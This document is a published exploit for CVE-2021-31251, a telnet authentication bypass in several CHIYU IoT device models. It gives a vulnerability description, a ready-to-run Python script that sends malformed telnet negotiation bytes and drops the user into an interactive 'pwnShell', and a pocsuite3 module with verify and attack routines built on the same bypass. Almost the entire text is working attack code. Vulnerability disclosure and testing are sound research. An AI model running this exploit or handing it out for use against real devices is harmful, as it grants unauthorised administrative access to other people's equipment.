CHIYU IoT devices

# Exploit Title:  (Exploit) - Telnet auth bypass in CHIYU IoT devices allowing to obtain administrative privileges
# Date: June 01 2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version:  BF-430, BF-431, BF-450M, and SEMAC   - all firmware versions < June 2021
# Tested on:  BF-430, BF-431, BF-450M, and SEMAC  
#CVE: CVE-2021-31251
#Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

"""
Description: Several IoT devices from the CHIYU Technology firm are vulnerable to a flaw that permits bypassing the telnet authentication process due to an overflow during the negotiation of the telnet protocol. Telnet authentication is bypassed by supplying a specially malformed request, and an attacker may force the remote telnet server to believe that the user has already authenticated. Several models are vulnerable, including BF-430, BF-431, BF-450M, and SEMAC with the most recent firmware versions.
CVE ID: CVE-2021-31251
CVSS: Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31251
"""

#!/usr/bin/env python3

# usage: python3 exploit.py IP

import socket
import time
import sys

HOST = sys.argv[1]
PORT = 23

socket.setdefaulttimeout(10)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    connect = s.connect_ex((HOST, PORT))
    try:
        print("[+] Try to connect...\n")
        time.sleep(1)
        s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
        s.recv(1024).strip()
        s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
        s.recv(1024).strip()
        s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
        result = s.recv(1024).strip()
        if result != b'\xff\xfe\x01':
            s.send(b"\x09")
            result = s.recv(1024).strip()

        if connect == 0 and "sername" not in str(result):
            if b"\xff\xfe\x01" == result:
                print("Connected! ;)\ntype: \"help\"\n\n")
                while 1:
                        cmd = input("(CHIYU pwnShell:) $ ")
                        body = cmd+"\n"
                        s.send(body.encode('utf-8', 'ignore'))
                        result = s.recv(1024).decode('utf8', 'ignore')

                        if not len(result):
                            print("[+] CHIYU device not available, try again ... (terminating)")
                            s.close()
                            break
                        print(result.strip('CMD>'))
                        b = "\n"
                        s.send(b.encode('utf-8', 'ignore'))
                        result = s.recv(1024).decode()
                        print(result.strip('CMD>'))
    except KeyboardInterrupt:
        print("\n[+] ^C Received, closing connection")
        s.close()
    except EOFError:
        print("\n[+] ^D Received, closing connection")
        s.close()

except socket.error:
    print("[+] Unable to connect to CHIYU device.")

import re
from collections import OrderedDict
import socket
from pocsuite3.api \
    import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE, get_listener_ip, get_listener_port
from pocsuite3.lib.core.interpreter_option \
    import OptString, OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptItems
from pocsuite3.modules.listener import REVERSE_PAYLOAD


class DemoPOC(POCBase):
    vulID = 'CVE-2021-31251'
    version = '1'
    author = 'sirpedrotavares'
    vulDate = '2021-04-15'
    createDate = '2021-04-15'
    updateDate = '2021-04-15'
    references = ['https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks']
    name = 'pwnCHIYU'
    appPowerLink = 'https://www.chiyu-tech.com'
    appName = 'CHIYU telnet'
    appVersion = 'Telnet service (all versions)'
    vulType = VUL_TYPE.UNAUTHORIZED_ACCESS
    category = POC_CATEGORY.TOOLS.CRACK
    protocol = POC_CATEGORY.PROTOCOL.TELENT
    samples = []
    install_requires = []
    desc = '''
           An authentication bypass in telnet server from CHIYU Technology Inc devices allows obtaining a privileged
           connection with the target device by supplying a specially malformed request.  
        '''
    pocDesc = ''' 
            Several IoT devices from the CHIYU Technology firm are vulnerable to a flaw that permits bypassing the
            telnet authentication process due to an overflow during the negotiation of the telnet protocol.
            Telnet authentication is bypassed by supplying a specially malformed request, and an attacker may
            force the remote telnet server to believe that the user has already authenticated. Several models
            are vulnerable, including BF-430, BF-431, BF-450M, and SEMAC with the most recent firmware versions.
        '''

    def _verify(self):
        output = Output(self)
        result = {}
        host = self.getg_option("rhost")
        port = self.getg_option("rport") or 23

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket.setdefaulttimeout(10)

        try:
            connect = s.connect_ex((host, int(port)))
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            s.recv(1024).strip()
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            s.recv(1024).strip()
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            aux = s.recv(1024).strip()
            if aux != b'\xff\xfe\x01':
                s.send(b"\x09")
                aux = s.recv(1024).strip()

            s.close()

            if connect == 0 and "sername" not in str(aux):
                if b"\xff\xfe\x01" == aux:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['rhost'] = self.url
                    return self.parse_attack(result)
                else:
                    result['VerifyInfo'] = {}
                    return self.parse_attack(None)
            else:
                return self.parse_attack(None)
        except socket.error:
            return self.parse_attack(None)

    def _attack(self):
        output = Output(self)
        result = {}
        host = self.getg_option("rhost")
        port = self.getg_option("rport") or 23

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket.setdefaulttimeout(10)

        try:
            connect = s.connect_ex((host, int(port)))
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            s.recv(1024).strip()
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            s.recv(1024).strip()
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            aux = s.recv(1024).strip()
            if aux != b'\xff\xfe\x01':
                s.send(b"\x09")
                aux = s.recv(1024).strip()

            if connect == 0 and "sername" not in str(aux):
                if b"\xff\xfe\x01" == aux:
                    print("Connected! ;)\ntype: \"help\"\n\n")
                    while 1:
                        cmd = input("(CHIYU pwnShell:) $ ")
                        body = cmd + "\n"
                        s.send(body.encode('utf-8', 'ignore'))
                        result = s.recv(1024).decode('utf8', 'ignore')

                        if not len(result):
                            print("[+] CHIYU device not available, try again ... (terminating)")
                            s.close()
                            break
                        print(result.strip('CMD>'))
                        b = "\n"
                        s.send(b.encode('utf-8', 'ignore'))
                        result = s.recv(1024).decode()
                        print(result.strip('CMD>'))

        except Exception as e:
            output.fail('target is not vulnerable:' + str(e))
        except KeyboardInterrupt:
            output.success({})
        except EOFError:
            output.success({})
        else:
            output.success({})

        return output

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')

        return output


register_poc(DemoPOC)